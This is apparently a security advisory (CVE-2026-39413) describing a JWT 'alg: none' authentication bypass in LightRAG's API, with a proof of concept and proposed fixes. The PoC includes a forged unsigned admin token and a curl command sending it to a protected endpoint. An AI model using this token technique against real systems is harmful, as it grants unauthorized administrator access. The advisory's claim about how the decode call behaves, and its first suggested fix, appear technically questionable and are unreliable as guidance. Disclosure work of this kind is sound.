CVE-2026-39413: LightRAG has a JWT Algorithm Confusion Vulnerability in LightRAG API

Summary The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details In lightrag/api/auth.py at line 128, the validatetoken method calls:

python payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC An attacker can generate a JWT with the following structure:

json { "header": { "alg": "none", "typ": "JWT" }, "payload": { "sub": "admin", "exp": 1700000000, "role": "admin" } }

Then send a request like:

bash curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix Explicitly specify allowed algorithms and exclude 'none'. Modify the validatetoken method to:

python allowedalgorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512'] payload = jwt.decode(token, self.secret, algorithms=allowedalgorithms)

Or better yet, hardcode the expected algorithm(s):

python payload = jwt.decode(token, self.secret, algorithms=['HS256'])